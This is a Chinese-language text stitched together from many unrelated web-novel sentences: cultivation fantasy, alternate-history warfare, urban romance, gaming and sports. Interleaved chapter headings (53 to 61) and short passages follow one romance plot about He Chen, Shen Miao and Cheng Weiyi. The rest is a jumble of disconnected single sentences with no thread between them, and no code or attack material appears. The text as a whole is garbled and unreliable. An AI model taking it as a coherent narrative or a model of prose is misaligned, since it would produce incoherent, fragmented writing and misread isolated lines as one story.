武植苦笑:“傻娘子,也就你把我当作宝,……想想七巧那体性,能同意嫁人吗?”武植方才又琢磨了一肝,芯么也觉得此事不可思议,不过想来七巧也不会同意,把责任推她身上再好不过,免得金莲又怪自己矫情。
“谁说俺不爱吃了,可俺没二哥这么贪吃。”三郎也气不过,急急的辩解。
九月中旬,大宋贵王和鸟羽天皇款定“宋日盟约”,盟约中,称大宋和日本永为兄弟之邦,为防南蛮,大宋在京都驻精兵一万,护卫京都安危,协助日本御敌。
青袍修者躬身行了一礼,声音稍稍有些低沉、似乎担心打扰到理顺药材的红袍老者。
目光自深渊之中抽离后。莫问平视望去。入眼的除了黑雾。便是岩壁。除此别无它物。
这时候龟仙人已经将大龟壳收了起来,王轩只看到三人站在原地,这里离地面不远,很不安全,要是极虎王恢复了过来,恐怕自己都得死。
被苏林身上的这一股迷人的味道迷住了,秦嫣然有那么万分之一秒的呆滞,然后赶紧恢复过来,入眼的却还是苏林的结实的胸膛,看着就是一股子火热。
而老首长梁国平跟着苏父苏国荣进入了客厅之后,第一眼看到的就是挂在靠门旁边的那一幅唐老的油画,顿时所有的目光都被吸引过去了。
“需要我为你治疗一下吗?佐助君!”葵突然嘴角微微斜起,露出了一丝笑容。
德灵顿必须为自己的所作所为付出代价。老师的牺牲绝不是他用来获取名声与功绩的垫脚石。
两人两兽来到城墙边,城墙不是很高,只有三四米左右,但是却给人一种强大的压迫力,这些城墙能够承受如此高的温度,想来都不是凡物。
郭嘉闻言微微点头。命三将后撤,只是三江身后的一众骑军,皆张弓遥指马超,马超便是勇冠三军,也难当如雨箭矢,更何况其手中银枪,已坠落战阵之中。
片刻之后,秦天看着那先天演卦上所显示的内容,他的双眸之中,顿时闪过一丝暴虐的猩红。
听到秦天那一抹低沉的叹息声,跟在他旁边的婠婠,顿时转过身来,似笑非笑的瞅着他,若有所指的道。
“还不是等你!”王轩雯反驳道,“你又在外面做什么坏事吧?”王轩雯一脸坏笑地盯着他笑道。
董占云也同样使用神识,并且不断扫射,规律和他们一模一样。一时间哪怕是修为最高的王家家主也没有发现。董占云拿着一叠爆裂符抓来一个王家里面的狗,贴在它身上。
甚至于连一向对所谓的武力不屑一顾的素斩影本人也不得不叹服——虽然,叹服并不代表着他就自认是比不上此人。
崔封等人,此刻已是腾跃在一片林子之中。四道人影兔起鹘落,流过身畔的劲风卷起大片落叶。
董占云这时候习惯性地扶着父亲躺下,边扶还边说:“以后有什么事你就躺在床上说,别老是坐起来说。”“呵呵,呜呜呜呜!”董占云怔怔地流下眼泪,开始低声哭泣起来。
除此之外!四大都城之中,还都有着一名强大的封代!堪比半步主宰境的强者!
只不过这一次为首的阿莫汗自信这附近绝不会出现敌人的探子,所以就算是有这样的动静也不会出什么大问题的。
游兰荨将手伸入怀中,神识一动,一道光华从她储物袋中飞出,迎风见涨,数息之间便化成了一个闪耀着莹润光芒的木筏。八根生机盎然的长木捆绑在一起,木筏长约三米,宽则有两米,足以容纳四五人同时乘坐。
王龙苦笑,明白这并不是他们真的鼓起了多大的斗志,而只不过是另一种类似于通过贬低那个波旬魔王的力量来变相地进行自我安慰而已。
“对,你以为单单是你了解我吗?我怎么会不了解你的个性呢?”虽然此时的紫冉嘴边仍然是一片苦涩,有谁会了解一个被枕边人所欺骗的苦呢?
我和黄冠心知肚明这个概率肯定是林子夸大了的,他说是八成,但最多也就是五成而已,不过五层值得一试了。
欣赏完这个烛台,他又转过头来,看向了位于斜对面墙壁上的那尊大理石雕像。
如他所料,为了让三方联合探索队伍顺利进入提格雷州,并展开探索行动,以色列答应给提人阵提供一大批军火物资。
姜艳纷闪身进了二门,东厢屋内,苏二奶奶靠着门框,笑眯眯看着一张红涨粉脸中透着喜气姜艳纷。
作为无始大帝的帝兵,无始钟的威力毋庸置疑,几乎凌驾其他一切极道帝兵之上,可与荒塔那样的至宝媲美。
53.想过会有今天这个局面吗
“没了。”沈渺语气淡然,低垂着眉眼,像是看不懂贺忱目光里的审视。
林昭走进来,到贺忱身边低声道,“贺总,刚刚接到了李董的电话,说绯闻的事情等周一董事例会时一起处理,点明沈秘书在这次的事件中有严重的工作失职。”
贺忱眉骨收拢,看向沈渺。
钱氏叹气,她不止一个儿子,自然不能为了一个混账东西不管别人。赵家更是不止这一个孙子,不会为他赌上全家。
辅助跟控制魂师一起升空,在场就只留下有战斗力的强攻和敏攻魂师。
如果不是在场有少林武当的人坐镇,想来都有人开始鼓噪生事了。
她的面部轮廓多了些过去所不曾有的坚毅和英气,昔日总是柔情似水清澈见底的水杏眼,在望向别人时,也能拥有果决勇敢和筹谋算计。
不少华夏粉也终于松了一口气,他们刚刚紧张死了,差点就塌房了。
痕痕回头看了一眼,发现波妞妹妹掉队了,他又赶紧跑回来,拉起波妞一块朝前跑。
不过有人怼回去了,如果要废了付家嫔妃,那太后尊位算什么呢?
心脏莫名灼热,像是有什么东西燃烧起来了,那种痛觉悄然弥漫至全身,直到他的视线落在沈绣婉不再爱他的眼瞳里,他才顿悟那种痛觉名为后悔。
白元璟一边压低声音询问,一边慢条斯理地解开沈绣婉的羊绒围巾,同时缠上两人的脖颈,像是生怕她跑掉了似的。
胡岳穿着有黑白布条的袍子,握着一根黄白色的引魂幡,将其舞动得哗啦作响,跳着奇异的舞蹈,大声唱着祭词。
虽然这些水底潜藏的神兽实力并不出色,但一口气杀掉数十只,再加上之前猎杀的那些神兽积累的经验,这一脚下去,竟然让简易直接升了一级。
“可是我们不主动招惹中国,他们就会眼睁睁看着我们把荷属东印度一口口吞下去?”武田亨疑惑地说。
血醒的镇压,这一点伏羲不是没有想过,可是他不敢下这个决定,不仅仅是伏羲想过,那轩辕也同样想过,只不过大家心中都有顾及,只能这样拖下去。
国家安全事务助理早就看完了这几份报告,他只是扫了一眼内容就将它们转交给了旁边的国务卿。
9点4分。中日两军在这个时空的第二次世界大战中的第一次交锋终于开始了。
他的实力比魁梧大将军还要强悍,长枪横在胸前,竟然生生挡住了战争领主狠狠砸来的一拳,没有受到太重的伤害。
没有多少战略价值的大路铺镇离县城只有几公里,这里只有一个排的地方民团在驻守。这二十几个团丁并没有按正常的军事部署来镇守镇子,而是只守了他们宿营的院子,也就是在他们睡觉的院子门口安排了一个哨兵而已。
“收敛气息,不到万不得已,千万别出手。”嫦娥悄声对李夸父说道。
“咦?娅楠?”金远一下想起来昨天和唐娅楠说好的事情,抬头看看钟,“不是才两点多吗?”金远有些疑惑地说道。
落点是前面不远处的哈姆道伊,在争顶头球的方面,哈姆道伊根本不是内斯塔或者席尔瓦的对手,不过,埃里克森的这一球传的非常巧妙,正好是在两人的身后。
就在苍麟感到惊讶的时候,却不然被楚天直接命中胸口,震飞而去。
54.贺忱发现误会,沈渺拒不回秘书部
沈渺迟疑片刻,走出会议室,回到工位上拿包,转身朝电梯走去。
路过贺忱身边时,男人倏地拉住她手腕。
他手指修长利落,手背的青筋脉络清晰。
紧紧扣着沈渺手腕时,指尖因过力而泛白。
“我把你哥哥打倒的时候就有,要不是有你父亲,我保证他那次以后永远都不敢招惹我。”张天毅笑了起来。
功夫不负有心人,终于有一天幸运之神真的降临人间,而且主动找上门来。
“老哥说得在理,再来干一个!”刘名升仰脖而进,把碗底亮了亮。
难怪这灵植区是所有男弟子最愿意待的地方,哪怕任务再繁忙,也想过来清闲片刻。
众人抬头看去,只见飞回来的血蛟王身上衣服都被抽碎了,身上还有着一道血红色清晰的抽痕,看那印记众人都能感受到刚才那一尾的恐怖。
而且现在她自己的发展遇到了瓶颈,想用正常的手段往上走,一点可能性没有。如果能够交好安全部门,那路,就打开了。
宁清秋点点头,这话说得没错,只是估计这个家伙有点想错了,她找他的时候确实是没什么担心的,也不是他想的找了他这么久,她才来这个世界呢,他们进入的时间线不同。
钱家因为他遇到了十年未有的大风波。就算不就此倾覆,也会实力大损。而张天毅,更是有了鲜血的仇恨在身。更别说,中间还有一个结怨的源头,林素衣。好在从钱王孙的话中分辨,他在滨海市并没有得手。
下面的洗星海刚听到陶莹的话,跟着就看见苏铮已经化作一道流光,朝峡谷口冲去,他顿时拔地而起,化作一道剑光,直追苏铮的后背。
于是何甜甜给蒋雯雯打电话,告诉她这里,有很多珍贵的天然珍珠,让她带足够的衣服,首饰过来。
看着手里的药材,林浩叹了口气,纵使玄天宗储备量非常丰富,但却还是缺少了一味最主要的药材——还魂草。
王煊的心中已经有了大致的时间表,他相信在这段时间内,能够获取足够的信息来做出决策。
共工看完之后,噗嗤一下笑了。他还第一次看见这种人带兵打仗,简直是不伦不类。
周秀霞听后大喜,一拍大腿说:上次给咱们出的主意妙,实在妙,我怎么忘了他呢,咱们再找他。
两人纷纷挡住双眼,防止眼睛被迷伤,同时释放出灵识仔细观察着对方的动向。
陈浩然和王鹤霖脸色都有些怪异,他们二人都认为韩老的观点有些错误,但都不敢指出来韩老错在了哪里。二人互视一眼,然后继续低下头,听韩老的说教。
伏羲听完,脸色凝重起来。这个信息很重要,不管是真是假都要认真对待,他抬腿就走。
传统药行是个苦行、累行、脏行,炒药就是一身汗,满身土。之前宋谦学的都还是干净的活,炮炙可遭老罪了。
管事的嘴角抽动了两下,看着林浩面前的那羊皮古卷,顿时就明白了过来。
别人不清楚,那两个叛徒肯定是心里有数,经过这么一闹,他们肯定会第一时间把手里的黑料,曝光出来。
“没明白?”高弘毅一知半解,因为冯云展说的是结果,他则关注的是从头到尾。
55.矛盾激发
电梯门缓缓合上,贺忱讳莫如深的眼眸,印刻着沈渺的样子。
她站在电梯正中央,抱着箱子,漠然的面色深处,夹杂着一丝疏远。
火车穿行于大片的原始森林当中,不时地经过一条隧道或者一座桥梁,两边的自然景色相当壮美。
程隽还在实验室,他开的顾西迟的电脑视频,穿着黑色的丝质衬衣,正低着头,不紧不慢的擦着手里的眼镜,身上有股子挺摄人的气息。
目前游戏中最强的轻功没有之一,也是唐门玩家赖以保命的功法,远高出其他门派一截。
八大美德烙印源源不断地涌出澎湃的信仰之力,顷刻间将左毅的力量推高到至顶点。
安家的家业非常大,从这会所的建设上就能看出来,祖上留下来的财富,安家其自然是不肯拱手相让的。
萧楚跌落神坛以后,燕无双光芒大盛,被誉为念魔宗第一天骄,就连资历更老的弟子都无法压住其锋芒。
舅妈点头称是,但心底也觉得何锦心就算出来,怕也不那么容易,以后何家,可能要靠何晨了。
“不用。”君宸从地上爬了起来,金色的鲜血已经将衣襟染透,声音却没有任何地波动,仿佛那一拳砸的不是他一样。
左毅曾经答应过为顾云惜量身打造一把武器,这把剑正是他在得到了陨星核铁之后铸造而成的,前前后后花了五天的时间。
现在亲身体会了一把之后,他已经不再有自己修炼这种愚蠢的想法了。
谷念感到浑身的血液都有些凝固了起来,尤其在刚刚祁寒有一些冰冷的目光别开的时候,已经多久没有再见到祁寒这么淡漠的眼神了呢?看自己就像是在看一个不相关的人一样。
他不能眼睁睁看着他们家少主和二公子遇害,所以他眼里的意思很明显,就是离开。
“跟我说这有用吗?不是我的婚姻,我们家也不需要联姻生存,就是你能说动我,我也当不了别人的家,说了半天不等于白费嘛!”章咏梅还能说什么?说的够直白。
许姑娘面色绯红,耳尖都染上淡淡的粉,身子恍若一片浮云,飘飘忽忽。
华恩县主的真的一样,太刺激她的心脏了,蔺彩虹简直要疯狂,杀饶恶意噗噗的散发。
“什么老婆,你别说这种不要脸的话!”苏凌云气极,他气得想伸手给白焱宸一拳头。
不过,既然她们不找事,她也乐得自在,自然也不会没事去找她们麻烦。
陆君煜见闫闹闹不理他,担心冷蒙蒙的安危,他也猫着身子跟在了闫闹闹的身后,有些着急的再次开口问了一句。
“你干脆把我们秦家人都宰了吧,我们没有钱了,是赔不起的!”秦钏嘴硬,可是咬破了舌头,强装镇定,来威吓人。
几位长老、。他们与枫溪皇枫之凌以及林家联手。夺回皇城。其实这已经是最好也是最后的办法了。若月伤亡惨重。雨王爷定会乘胜追击的。与其拼个你死我活。不如与枫溪皇合谋。也许能为若月的遗留百姓。谋一生存之所。
沐颜宁静说完,便是爬到‘床’上,身体几扭,便是进到了江海的被窝里。
56.没有什么比离开更重要
一句‘不合眼缘’,又让程唯怡想起方太太说她丑!
“沈渺长得再漂亮,只是个秘书,你搞清楚了,跟你们合作的是贺忱哥,我……”
谢芊语惊奇地捂住自己的嘴巴,不敢相信这一切是真实的,随之又惊奇地跳一下,还是觉得没有问题,是真的。
只听说“夜曦帮”和“萃宝斋”在南雍双雄并立,真没想到堂口也是在一条街上。
傍晚的庭院里已经被肉类油脂,各类香料伴随着并不浓烈的烟火味道所充满。
涌泉境武者,萧夜就给他们购买了一百枚下品回元丹,一柄下品元器,一柄中品元器和一枚化星丹。
赤飞哪能吃亏,不声不响大迈步伐,和密月展开了一场另类的竞速比赛。
“对了,今天怎么想起来过来了?”美莲也搬了张凳子,坐在沫楹身边。
这怪物像人不似人,像鬼不似鬼。果露在外的皮肤上遍生藤纹,四颗尖尖的獠牙有一寸长,眼珠外翻,见不到瞳仁。而那双往外乱抓的手上十指尖尖,长长的指甲泛着幽幽的青光,仿佛粹满了毒,被抓一下估计就得皮肉外翻。
“什么?”牛皮那副凶狠的模样盯着他,一把揪住他的高领,面背对着流水和高山,那人吓的腿都软瘫了,牛皮的脸皮笑着,眼睛却对着他挤眉弄眼,悄悄传递信息。
按照蚩尤法典的特性,他的身体就像个不断成长的大容器,越往后修炼,身体所需要的能量就越多,突破的难度也就越大。
朱鸣来到神宫已有半月,而这些时间他精力主要分为三处,一为将真言结印法融入功法之中,二为修行八部天龙法,三为探究神打法相隐秘。
这天衍琉璃血,原本被萧林服用炼化了一部分,而后作为聘礼,交给天运门。
墨连月与水凌寒对视了一眼,瞬间到了墨亦枫眼前。想确定是不是他们认识的。
正在提速的骑兵们应该都被这无比惨烈的一幕给吓着了,马速悄然降低。
他冷笑两声,脸上略带威胁的意味看向李星辰,而李星辰也是不解,先前闯进来是他不对,但还有一件事是什么?
李芳本来就是苏婉儿的粉丝,如今偶像成为了自己的嫂子,她可是激动坏了,立马就走到苏婉儿的旁边,然后拼命地要和这个嫂子明星拍照。
待两人走后,庞雪看向任博奇脸上的表情着实怪异,而任博奇的目光直到送走约瑟·希亚之后才堪堪收回。
“灵儿,你相信我,”王枫看着她的眼泪,急得不知道做什么才好,直到看到自己的乾坤袋才灵光一闪。
虽然有许多地方秦风还不是很明白,但先将其背下来,日后定有它的用处。
在王青玄的强烈要求下,镇长也答应给他在商会一个位置,就是负责协调各位老板,当然是在王青冥的管理之下。
“混蛋!你这车是哪里来的?”金可馨可疑的问,也想要挣脱出罗峰的怀抱。
程处墨已经渐渐的进入了自己的角色,即使不用秦超去指示,他也会根据自己的想法去进行一些相应的研究。
吴长明冷冷的说着,浑身散发着邪恶的气息,眼神有血光闪过,让人感到不寒而栗,仿佛看到了血山血海或者是来自地狱的鬼。
57.明黎艳与孙易琴为程唯怡撑腰
贺忱与方年的合作,岌岌可危。
他们到底能不能合作,沈渺不担心。
可只要这件事情还在发酵,她就撇不清关系。
沈渺认真看了看新闻,捕捉到‘据知情人士透露’这句话,这足以证明百荣内部有人泄露了消息。
齐玄余也不知孟婆汤的效用几何,一听说朱权还记得在扬州罗府做过客的事,他倒不知该怎么接话了。朱权记得罗府,却不记得何当归?
然而,这种情况显然不会光顾何当归。她听完鹿瑶的话,神情并未有什么改变,只是一双眸子锁定在鹿瑶脸上,根据对方眼底的真实恐惧,以及闪烁的眼神,判断她说的话有真有假。
唐佳卉向着窗户默默流泪,一个个都走吧,她从来都不需要怜悯和同情。
远远地,他看到叶柯的眼神一直没有离开过唐佳卉,即便叶柯走在后面,还与旁边的人交谈着什么,他的眼睛不自觉地眯了起来,顺手就掏出了手机。
蒲晓生不可置信的看着我坠落,我微微一笑,刚才秃鹫的攻击我是看到了的,蒲晓生若是带着我,就是带着一个累赘,他自己完全可以应付秃鹫。
男人的脸容上有清晰的几道伤痕,完全破了相,更添狰狞,他声音沙哑,像是破败的风箱一般,呼哧呼哧的发出杂音在开口说话之时。
此后,妖谷之中的天灵石每一次出世便会引起一次争斗,不过可惜的是,自那以后,再也没有修士发现过上品天灵石了。
血腥味四处弥漫,云苍至始至终都是冷眼相看,时不时的会出手帮助己方修士,以免平白丧命。
上官綦笑应道,这一夜,府内甚是热闹,这也是这近一个月以来,难得如此安逸的用一顿丰富的晚膳,看着一桌子的菜肴,众人皆是不论主仆,坐与一处,显得其乐融融。
眼前的蒲晓生又恢复了之前那样吊垂在半空中的样子,他微微闭着的眼睛试图睁开,甚至于那僵硬的手指也在慢慢开始松动,蒲老头轻声咦了一下,他还没有开始解封,蒲晓生就想要冲破他的封印了。
“救人还分贵贱吗?我自己去,你不要拉着我”花霓裳好像已经认准这个理了,对战生的话置之不理。
鱼头矮人们欢呼了起来纷纷跪倒在地朝着薛重顶礼膜拜。但是迪高等人却露出了厌恶的笑容因为一个肯做怪物部落之主的人肯定不在他们这些贵族子弟的交往范畴之中。
琴啸天久久地凝望着她,她气质优雅地走近,含情的双眸也是紧紧望着一脸白净的琴啸天,仿佛要马上得到什么似的。
琴啸天跟在张大个的身后,看着张大个手臂上的肌肉结块鼓起,这个汉子不是他想象中的莽汉,是一位性格谨慎的热血汉子。
萧清封他们并没有在真灵峰呆多久,也没有多说什么,但是他们都有一个共识。宗门在对真灵的事情上,确实有些不妥。
因为有着黑炎的修复,无论是修炼带来的暗伤,还是修炼锻骨拳的高强负荷,都无法影响到他。
洛克将金洛斯放在绿龙伊瑟拉的脖子上,他自然也听到了不远处犹如山呼的声音,关于上古之战的记载,他也看过一些。
叶起感受到了身体的异样,一呼燥热, 再一吸气,却感觉到奇冷。
58.他竟然纵容她们,拿沈渺发泄怒火
孙易琴和明黎艳皆是一脸的质问和凶相。
她们像是等待已久,终于抓到了沈渺‘狐狸尾巴’的眼神,盯着沈渺。
虽然新闻压下去了,可程唯怡被群嘲长得丑,是已经发生的事情。
她们怎么能委屈了程唯怡呢?
没有什么呵斥比罚款更有效。话音一落,那几人果然犹豫地停了手。
夜千宠已经先一步上车了,在座位上看了他,想道个别,又怕他把持不住,只好再往里缩了缩。
是真的疼,她本来就爱哭,右眼角有泪痣的那种,被弄疼,圆溜溜的杏眸里那包泪登时就要落下来了。
而这个男人,前半生交付予了一个苟延残喘的国,而后半生全盘托付给了这个异乡土地新生的唐人街。
他堂堂一个萧氏总裁,而且还是富可敌国的一个商人,竟然在他的公司充当下属!这是他活了20多年,也不能想象,也不敢想的!毕竟这不切实际。
一块起哄,给林学士列了十七八个罪,扯到诏狱,刑部不查得去大理寺了。
说到这里,苏无双叹息一声,顾玺刚想说话,萧哥直接打开了他们的车,坐在了后座位上。
每当有选手路过,卫时都会条件反射换边、持枪,把巫瑾利索挡在身后。
迟早一面往外边走去,一面抽着鼻子各种哭,秋水杏眸鲜艳潮红着,又眼泪汪汪的,狼狈中还带着点滑稽。
黛拉·克拉克是唐人街一间白人妓|馆的西班牙裔老鸨,脾气火辣,早年也是登记作洪爷的妻子,才拥有今天的公民身份。后来混婚不合法了,她与洪爷的婚姻关系在加利福利亚自动失效。
既然如此,那就让一切都真相大白吧,如果真的不能接受,那便分开吧。
她推开门,就看到了方知寒坐在沙发上,脸色有些不好,眸色寒冽地盯着他,灯光从高大挺拔的身躯落下一个黑影,整个场景看着有些阴冷。
狼妖的脸上露出了一丝说不出的情绪,随即,他就闭上眼睛,沉默的迎接死亡的到来。
不过是幻象凝聚出来的巨象,此时跟秦昊平分秋色,却仿佛有智慧一般,觉得自己受到了羞辱,红着眼睛再度冲杀过来。
博扬躺在床上,脸上盖着一张照片,仿佛只要贴近就能感受到上面残留的温热。
她掀开被角,握住陆璩的手,正准备拔针的时候,忽的瞥见了自己左手无名指上的戒指,她蓦地手一抖,本能的朝着周围看去。
唐承泽第一时间提出了复寻柯米娅星域第三星门的申请。可这么个简简单单的申请居然无故遇到了重重阻碍,最后还是8师师长明里暗里的支持才让他终于如愿以偿的重返柯米娅星域。
她不想说谎,谎言无法从嘴里说出来,但是让她直接说孩子不是陆雪臣的,她也开不了口,好像只有一开口,最近一段时间的幸福,就会像泡沫变成幻影。
天上,大太阳烤着,可谁都没有着急的意思,脚下像粘了黏黏胶,走三步停两步,慢吞吞的向目的地靠近。
好在平北城内禁制打斗,尤其是核心城区,更是每时每刻都有王爷府的高手侍卫巡逻,一旦有人私斗,便会被抓捕。
“够了,说异能的事,别给我扯别的!”封御卿一点都不想要让初心在天恬恬面前说那些对自己深情的话。
59.您更应该有数,我跟沈渺离婚了
远隔着一条街道,男人投来的视线锐利不容忽视。
“查到了吗。”他望向沈渺的方向,却是在同驾驶位的林昭说话。
随着秦明的话音落下,原本还说说笑笑的雇佣兵们,此刻已经开始抽气了。
黄景阳还想再问什么,而此时,萧天说完后,手术室的门已经打开,萧天就径直走了进去。
最后一道剑气建功,六轮防御竟被强势破开,薛莲抓住机会撞开几个魔王的拦截,纤纤玉指已经抓住了朱亭的脖颈。
“忠言逆耳,你爱听就听,不爱听就拉倒。”陆夫人一点儿也不愿意拘束着自己,说话那叫一个荡漾。
就在江浔想要使用精神力的时候,脑海之中却忽然一阵刺痛,然后不可控制的昏迷了过去。
“这里果然很乱……”凌梵月的视线落在了周围,扫过面前或者身旁的那些街道。
这时,重鸣手中也直接出现了一柄张满了倒钩尖刺的武器,他咧嘴一笑,口中的獠牙,更显锋利。
撂下一句,邢诗洁一剑斩开虚空,整个机甲钻进了黑洞之中。敌人见状,求之不得,直接撕开虚空遁了进去,无伤紧随其后。
江浔坐在院子里的合欢树下,青竹在一旁伺候着,春兰脸被打的啪啪响,却一声都不敢叫,只因为申屠杰也有坐在一旁好整以暇的看着。
唐尹周直接没搭理他,而是看向唐星橙,也眸光沉冷的看向了陆啸搭在她肩上的手。
韩星今天的心情很不错,因为她又看见了沙必良,每次见到沙必良的时候,她都想笑。
当然了,这些无法抵挡的因素可以不用考虑,如果发生也只能说罗兰运气不好,跟其他无关。
“恩,不过再怎么的这个杜宇的强,罪是跑不掉的了。”叶宏斌说着。
穷武万剑生招式后到,不凡剑者,大成的防守剑招,无极相生轮转,只见宏大无极图自旋而上,迎接冰霜风暴。
“陶毅然我看你老师的所有学生里,好像就你和你姐知道他在用骨灰做雕塑吧。”韩烁看着陶毅然,问着。
沙必良不知道是什么事情,却也没有多问,反正他有的是时间,去一趟也无妨。
陈玄武的酒量一向是大杀四方,至少整个利刃大队鲜有敌手,蒋佳鹏自然也是对手,最后的结果自然是被灌趴下了。
离开倪凤的时候,朱农趁机把身上所有现金全部留了下来,希望倪凤的生活能够宽裕一点。
沙必良看了一眼水清浅,见她双目清澈,知道她并没撒谎,只不过这个消息虽然比前一个消息要好一点,却也让他不禁心颤,这个世界已经乱成了这样吗?
夏梦娇见庄毕目光闪闪,趁此机会,脚下不着痕迹的把鞋子穿上,与庄毕拉开了点距离。
大学能学到自己喜欢的专业真的是件很幸福的事情,多少人,都上到大三大四了,也不知道自己为什么要学这个专业,他们对他们学的知识没有任何热情,好像为的就是一个本科学历。
雷霆在半空凝聚,幻化出一条雷河,从天空俯冲而下,钻入左手的雷球当中。
成年王蟒尾巴一甩,将李行天甩上半空,张开大嘴,一口就将之吞入腹中。
60.贺忱与程唯怡要订婚了
“我当然有数。”
贺老夫人睨他一眼,“人家渺渺,才不会跟你复婚。”
贺忱觉得这话刺耳。
分明,是他不会跟沈渺复婚。
难道不是吗?
“出去吧,挡你爷爷回房睡觉了。”
贺老夫人看到他,就气不打一处来,挥手让他走。
贺忱转身,才看到贺老爷子在门口站着。
他退出去,“爷爷。”
“谁呀,这么凶!不理他,我们走,我好热呀,我还要脱衣服,我还要跳舞。”苏芊艾不想去探究那叫喊她名字的声音倒底是谁的,只是嘟嘟囔囔地对着那个怀抱地主人喊着。
李莫楠坐在病床旁边看着黎晓霾,她正熟睡着,犹如婴儿般地熟睡着,她看上去是那么地安宁,睡得是那么甜美。可是为什么她的眉头始终都是微微地蹙起着,似乎在忍着极大的悲伤。
大概也是突然之间,她意识到了黄梓捷可能会过來,心里猛然就慌张了起來。
“哇,真的。那太好了!”如果不是在车上,辰辰肯定会迫不及待的要打开了。
一切似乎变得越来越好了!爸爸,妈妈,姐姐,如果你们现在还在那该有多好。
依依似乎是没想到我会这么直接的承认,一脸不相信的抱着紫云灵的手臂看着我,大眼睛似乎要流出泪水。
“他们回来收尸也不关我们的事吧?走吧,走吧,别在这里耗着了,猰貐那老东西又去我那儿找麻烦了,要不是你喊,它还在纠缠。”昆仑凤道。
“既然你心中已经放下仇怨,那就见一见他,你可以将心中未曾解开的疑问,亲自问他!”独臂老人沉声道李絮闻言,看着独臂老人,眼中的‘迷’茫之‘色’淡了下来。
不要以为依依的治疗是玩笑,谁说牧师的输出就不能高呢?尤其是依依换了银光杖之后。
于是她自然而然的关注了这个ID,看看他后续还有什么其他的动作没。
不过他也不想掺和这件事儿,毕竟这是吴家自己的事情,而刚刚和吴老爷子的对话,发现他也不是一般人。
“赶紧把这些金银财宝带点走,能装多少装多少,看各自本事!”老光棍说着,撑起自己身上的衣兜开始装东西。
门禁处众散仙见三十三天的王殿在东海之极门前出手伤人,自然不会坐视不管。
而士兵们也跟着将领大吼,身上充满了毅然决然的气势,直接回过头朝着那些恶魔冲杀而去,完全不顾及自己的生死。
“呵呵,你同意我可不同意,想跑可没那么容易。”魁狼说道,巨大的手掌攥拳,捏的咔咔作响。
此方是这星辰大海的原来面目,它将自己的本来面目隐了下去,只为等着终有一日墒祖的重临之时。
“徒儿谨记!”说完,钟萍来到依旧在沉睡的林盛身旁,十年了,月哥你何时醒来,但我宁愿你不要醒来,这样就可以天天陪着我,不会再去找那青衣姐姐,这样真的很好。
当初离开辰月山的时候,宁不悔就让吴龙在天狼宗十宗会武之后来宁府找他。
过了不久,台上突然说出了一个主持人,这个主持人解答了苏欣和所有人的疑惑。
只不过,既然这个系统是在她身上的,是不是就说明,主角变成她了呢?
郑希瑶还没想清楚,就见被柳敬亭剑气所救的南嫣扔掉手中的残剑,径直走向黎垣。
61.皆大欢喜,沈渺独悲
对方也正有此意,他们也压根不敢在集市把东西拿出来,倒是对方先提出来。
夏初开车到了建材市场,对比了几家之后,找了一家口碑不错的装修公司,选了三扇最结实的防盗门,都是不锈钢实心的,要两个壮汉才能抬得动,想了想又多加了两扇以防万一。
调取监控注定是徒劳的,王兵他们所走过的路线,沿途的监控都被多米尼克给篡改了。
她是考生,学校规定考生不能在考试期间离校,如果狄教官不送她出来,她可能会被守门的保安当成逃逸的学生放狗咬。
赵安后发先至,抢先一步进入大楼,他身姿矫健抬手就是几把飞刀出手,当场杀掉几名听到枪声赶来观望的武装人员。
李堂燕对自己植物人丈夫,一直是不离不弃的,世人都说她丈夫是修了八辈子才有这么一个老婆。
“那尊者最近一段时间是怎么照顾那位的?”通讯法器里传来疑惑的声音。
他也觉得拓跋澄跟风叔叔一点都不适合,所以不给拓跋澄制造机会。
只见半山腰处直接被掏出了一道非常圆的洞,直径约有数十米,洞口边缘光滑整齐,没有一丝裂缝或破碎的痕迹,阳光透过洞口洒进来,形成一道金色的光柱。
这家伙在电影里是人类的死对头,人工智能的走狗,天生的大反派。
光柱来得太突然,李璟只能张口一道爆裂龙息喷上去,结果他这屡试不爽的龙息,这次却是连爆炸都未来得及爆炸,便被那赤红光柱湮灭了。
听到莫峥已经到达了先天圆满境界,林山也是微微有些诧异,不过也是有着几分欣慰,这说明莫峥还是有将他的话放在心上,好生修炼。
倒不是说没有人进出,只是进出的人很少,一个个都隐匿气息,探不出真正实力修为。
“晶晶……”梦星辰愧疚而又心虚的看着蓝晶晶,如果这件事情真是如此的话,那么梦星辰最对不起的就是蓝晶晶了。
最后,如果成绩不理想,还可以将这些菜鸟当圈养的猪,在最后关头杀了他们,夺取他们身上的徽章,换取奖金。
“没问题,一切顺利,现在一直在抽检,质量也没问题!咱们什么时候去质监局送样品去?”郭怀义问道。
任他如何呕吐,就是吐不出来这东西,这东西就像是生根了一样,扎根在他体内,不动丝毫。
所以,晚上七点的时候,发布会现场已经是人山人海,有些记者为了抢一个更好的位置,还产生了争执。幸好保安们给力,才没有把事情闹大。
可这一回神,他看到柳婧那臊红恼怒的俏脸同时,目光也随意的往下瞟了一眼。
“还有,解释一下,我确实很穷,你看到的都是假象,哈哈。”凌宇确实很穷,没必要为了面子装得很富有。
苏熙急忙走了过去,但见到林飞扬浑身都在颤抖,便静静的等在一旁。
脚尖一点一点的缩短和灵符的距离,头一次感觉自己的腿为什么这么短。
时间一分一秒过去,赵晴眼皮打架,她掐着自己的手为了保持清醒,到了后来,掐手也没用了,头一歪,趴在床上睡着了。
清风徐来,吹落了她脸上的白纱,露出一张绝美的面庞,这张美丽绝伦的脸上,一脸坚毅之色。
这个时候,一股头发飞了过来,祖安进了李山的嘴巴里,然后无限变长,进入了李山的喉咙里面。
不动门门主满脸笑容,显然对于叶天辰展现的实力,感到十分满意,不过他的话语还未说完,声音便戛然而止,而且双眼瞪得滚圆。
当萧狂他们穿过第九区域来到最深处的时候,一道洪亮的声音传进了众人的耳中。
至于CUP那边,带头的长老在看到那冥王剑时,神色充满了震惊和骇然,他在CUP总部的职位虽然不高,但对于CUP通过那神秘的残缺芯片上,掌握神秘的核心科技技术,却是有所耳闻。
方敬语这才明白过来,原来躲在黑暗里的人是‘封神会’的智囊,‘玄武堂’的堂主‘玄武’。
轻舞心头一紧,隐隐觉得这和自己一直以来都有着的那种找不出根源的不安有这么大的联系。
无数的黑气蒙蔽整个山洞,无数的心魔幻影飞扑一切周围的生灵。只见从黑烟中间有一个妖异的鬼娃娃,头顶黑色葫芦,手中也拿着一个葫芦,眼睛漆黑冰寒,浑身痛苦抽搐着。
看着酒坛子在波光粼粼的江面上浮浮沉沉,她双手紧紧抓着船沿,觉得心头的那团火烧得更烈了,突然膝盖一软,身子顺着船的围栏滑在了甲板上。
